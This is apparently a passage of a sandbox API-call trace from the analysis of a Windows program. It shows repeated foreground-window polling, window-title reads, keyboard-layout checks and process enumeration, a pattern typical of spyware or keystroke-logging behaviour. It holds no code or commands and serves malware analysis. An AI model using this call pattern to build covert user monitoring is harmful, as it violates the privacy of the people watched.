[0189.571] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0189.571] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.582] GetForegroundWindow () returned 0x101a2 [0189.582] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.644] GetForegroundWindow () returned 0x101a2 [0189.644] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.707] GetForegroundWindow () returned 0x101a2 [0189.707] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.769] GetForegroundWindow () returned 0x100f6 [0189.769] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0189.769] EnumProcesses (in: lpidProcess=0x248368c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248368c, lpcbNeeded=0x4f8f87c) returned 1 [0189.771] GetLastError () returned 0x0 [0189.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3542050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3542050, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0189.774] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0189.774] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0189.831] GetForegroundWindow () returned 0x101a2 [0189.831] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0189.831] EnumProcesses (in: lpidProcess=0x24951e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24951e4, lpcbNeeded=0x4f8f87c) returned 1 [0189.832] GetLastError () returned 0x0 [0189.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3562070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3562070, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0189.835] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0189.835] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.894] GetForegroundWindow () returned 0x101a2 [0189.894] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0189.956] GetForegroundWindow () returned 0x101a2 [0189.956] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.019] GetForegroundWindow () returned 0x101a2 [0190.019] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.081] GetForegroundWindow () returned 0x100f6 [0190.081] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0190.081] EnumProcesses (in: lpidProcess=0x24a7a98, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a7a98, lpcbNeeded=0x4f8f87c) returned 1 [0190.082] GetLastError () returned 0x0 [0190.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3582090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3582090, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0190.086] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0190.086] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0190.257] GetForegroundWindow () returned 0x101a2 [0190.257] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0190.257] EnumProcesses (in: lpidProcess=0x24b94e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b94e4, lpcbNeeded=0x4f8f87c) returned 1 [0190.258] GetLastError () returned 0x0 [0190.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a20b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a20b0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0190.261] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0190.261] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.315] GetForegroundWindow () returned 0x101a2 [0190.315] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.393] GetForegroundWindow () returned 0x101a2 [0190.393] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.455] GetForegroundWindow () returned 0x101a2 [0190.455] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.518] GetForegroundWindow () returned 0x100f6 [0190.518] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0190.518] EnumProcesses (in: lpidProcess=0x24cb770, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24cb770, lpcbNeeded=0x4f8f87c) returned 1 [0190.519] GetLastError () returned 0x0 [0190.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c20d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c20d0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0190.523] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0190.523] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0190.580] GetForegroundWindow () returned 0x101a2 [0190.580] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0190.580] EnumProcesses (in: lpidProcess=0x24dd1bc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24dd1bc, lpcbNeeded=0x4f8f87c) returned 1 [0190.581] GetLastError () returned 0x0 [0190.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e20f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e20f0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0190.584] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0190.584] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.643] GetForegroundWindow () returned 0x101a2 [0190.643] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.753] GetForegroundWindow () returned 0x101a2 [0190.753] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.814] GetForegroundWindow () returned 0x101a2 [0190.814] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0190.877] GetForegroundWindow () returned 0x100f6 [0190.877] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0190.877] EnumProcesses (in: lpidProcess=0x24ef464, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24ef464, lpcbNeeded=0x4f8f87c) returned 1 [0190.877] GetLastError () returned 0x0 [0190.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3602110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3602110, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0190.881] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0190.881] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0190.939] GetForegroundWindow () returned 0x101a2 [0190.939] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0190.939] EnumProcesses (in: lpidProcess=0x2500eb0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2500eb0, lpcbNeeded=0x4f8f87c) returned 1 [0190.940] GetLastError () returned 0x0 [0190.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3622130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3622130, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0190.944] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0190.944] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.002] GetForegroundWindow () returned 0x101a2 [0191.002] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.064] GetForegroundWindow () returned 0x101a2 [0191.064] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.126] GetForegroundWindow () returned 0x101a2 [0191.126] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.189] GetForegroundWindow () returned 0x100f6 [0191.189] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0191.189] EnumProcesses (in: lpidProcess=0x2513104, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2513104, lpcbNeeded=0x4f8f87c) returned 1 [0191.189] GetLastError () returned 0x0 [0191.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0191.714] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0191.714] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0191.715] GetForegroundWindow () returned 0x101a2 [0191.715] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0191.715] EnumProcesses (in: lpidProcess=0x236fa74, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x236fa74, lpcbNeeded=0x4f8f87c) returned 1 [0191.715] GetLastError () returned 0x0 [0191.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0191.719] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.719] GetForegroundWindow () returned 0x101a2 [0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.719] GetForegroundWindow () returned 0x101a2 [0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.719] GetForegroundWindow () returned 0x101a2 [0191.719] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.720] GetForegroundWindow () returned 0x100f6 [0191.720] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0191.720] EnumProcesses (in: lpidProcess=0x2381cc8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2381cc8, lpcbNeeded=0x4f8f87c) returned 1 [0191.720] GetLastError () returned 0x0 [0191.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0191.723] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0191.723] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0191.724] GetForegroundWindow () returned 0x101a2 [0191.724] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0191.724] EnumProcesses (in: lpidProcess=0x2393714, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2393714, lpcbNeeded=0x4f8f87c) returned 1 [0191.724] GetLastError () returned 0x0 [0191.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0191.727] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0191.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.727] GetForegroundWindow () returned 0x101a2 [0191.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.727] GetForegroundWindow () returned 0x101a2 [0191.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.750] GetForegroundWindow () returned 0x101a2 [0191.750] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.813] GetForegroundWindow () returned 0x100f6 [0191.813] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0191.813] EnumProcesses (in: lpidProcess=0x23a5968, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a5968, lpcbNeeded=0x4f8f87c) returned 1 [0191.813] GetLastError () returned 0x0 [0191.814] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0191.817] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0191.817] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0191.875] GetForegroundWindow () returned 0x101a2 [0191.875] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0191.875] EnumProcesses (in: lpidProcess=0x23b7408, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b7408, lpcbNeeded=0x4f8f87c) returned 1 [0191.875] GetLastError () returned 0x0 [0191.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0191.879] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0191.879] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0191.937] GetForegroundWindow () returned 0x101a2 [0191.938] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.000] GetForegroundWindow () returned 0x101a2 [0192.000] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.062] GetForegroundWindow () returned 0x101a2 [0192.062] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.125] GetForegroundWindow () returned 0x100f6 [0192.125] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0192.125] EnumProcesses (in: lpidProcess=0x23c9738, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23c9738, lpcbNeeded=0x4f8f87c) returned 1 [0192.126] GetLastError () returned 0x0 [0192.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0192.129] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0192.129] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0192.187] GetForegroundWindow () returned 0x101a2 [0192.187] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0192.187] EnumProcesses (in: lpidProcess=0x23db184, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23db184, lpcbNeeded=0x4f8f87c) returned 1 [0192.188] GetLastError () returned 0x0 [0192.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0192.192] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0192.192] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.249] GetForegroundWindow () returned 0x101a2 [0192.249] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.327] GetForegroundWindow () returned 0x101a2 [0192.328] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.390] GetForegroundWindow () returned 0x101a2 [0192.390] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.452] GetForegroundWindow () returned 0x100f6 [0192.452] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0192.452] EnumProcesses (in: lpidProcess=0x23ee260, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ee260, lpcbNeeded=0x4f8f87c) returned 1 [0192.453] GetLastError () returned 0x0 [0192.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0192.456] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0192.456] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0192.515] GetForegroundWindow () returned 0x101a2 [0192.515] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0192.515] EnumProcesses (in: lpidProcess=0x23ffcac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ffcac, lpcbNeeded=0x4f8f87c) returned 1 [0192.515] GetLastError () returned 0x0 [0192.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0192.519] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0192.519] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.577] GetForegroundWindow () returned 0x101a2 [0192.577] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.639] GetForegroundWindow () returned 0x101a2 [0192.639] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.702] GetForegroundWindow () returned 0x101a2 [0192.702] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.773] GetForegroundWindow () returned 0x100f6 [0192.773] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0192.774] EnumProcesses (in: lpidProcess=0x2412988, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2412988, lpcbNeeded=0x4f8f87c) returned 1 [0192.774] GetLastError () returned 0x0 [0192.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482fa0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482fa0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0192.777] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0192.777] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0192.827] GetForegroundWindow () returned 0x101a2 [0192.827] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0192.827] EnumProcesses (in: lpidProcess=0x2428fdc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2428fdc, lpcbNeeded=0x4f8f87c) returned 1 [0192.827] GetLastError () returned 0x0 [0192.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fc0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fc0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0192.832] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0192.832] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.889] GetForegroundWindow () returned 0x101a2 [0192.889] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0192.951] GetForegroundWindow () returned 0x101a2 [0192.951] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.014] GetForegroundWindow () returned 0x101a2 [0193.014] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.076] GetForegroundWindow () returned 0x100f6 [0193.076] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0193.076] EnumProcesses (in: lpidProcess=0x2459524, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2459524, lpcbNeeded=0x4f8f87c) returned 1 [0193.077] GetLastError () returned 0x0 [0193.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fe0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fe0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0193.080] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0193.080] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0193.139] GetForegroundWindow () returned 0x101a2 [0193.139] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0193.139] EnumProcesses (in: lpidProcess=0x246af70, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246af70, lpcbNeeded=0x4f8f87c) returned 1 [0193.139] GetLastError () returned 0x0 [0193.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e3000, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e3000, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0193.142] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0193.143] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.201] GetForegroundWindow () returned 0x101a2 [0193.201] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.264] GetForegroundWindow () returned 0x101a2 [0193.264] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.326] GetForegroundWindow () returned 0x101a2 [0193.326] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.389] GetForegroundWindow () returned 0x100f6 [0193.389] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0193.389] EnumProcesses (in: lpidProcess=0x247d6e0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247d6e0, lpcbNeeded=0x4f8f87c) returned 1 [0193.389] GetLastError () returned 0x0 [0193.389] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503020, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503020, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0193.393] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0193.393] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0193.451] GetForegroundWindow () returned 0x101a2 [0193.451] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0193.451] EnumProcesses (in: lpidProcess=0x248f12c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248f12c, lpcbNeeded=0x4f8f87c) returned 1 [0193.451] GetLastError () returned 0x0 [0193.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523040, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523040, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0193.454] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0193.454] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.513] GetForegroundWindow () returned 0x101a2 [0193.513] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.575] GetForegroundWindow () returned 0x101a2 [0193.576] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.638] GetForegroundWindow () returned 0x101a2 [0193.638] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.700] GetForegroundWindow () returned 0x100f6 [0193.701] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0193.701] EnumProcesses (in: lpidProcess=0x24a55c0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a55c0, lpcbNeeded=0x4f8f87c) returned 1 [0193.701] GetLastError () returned 0x0 [0193.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563080, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563080, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0193.704] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0193.704] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0193.763] GetForegroundWindow () returned 0x101a2 [0193.763] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0193.763] EnumProcesses (in: lpidProcess=0x24b700c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b700c, lpcbNeeded=0x4f8f87c) returned 1 [0193.763] GetLastError () returned 0x0 [0193.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35830a0, Length=0x20000, 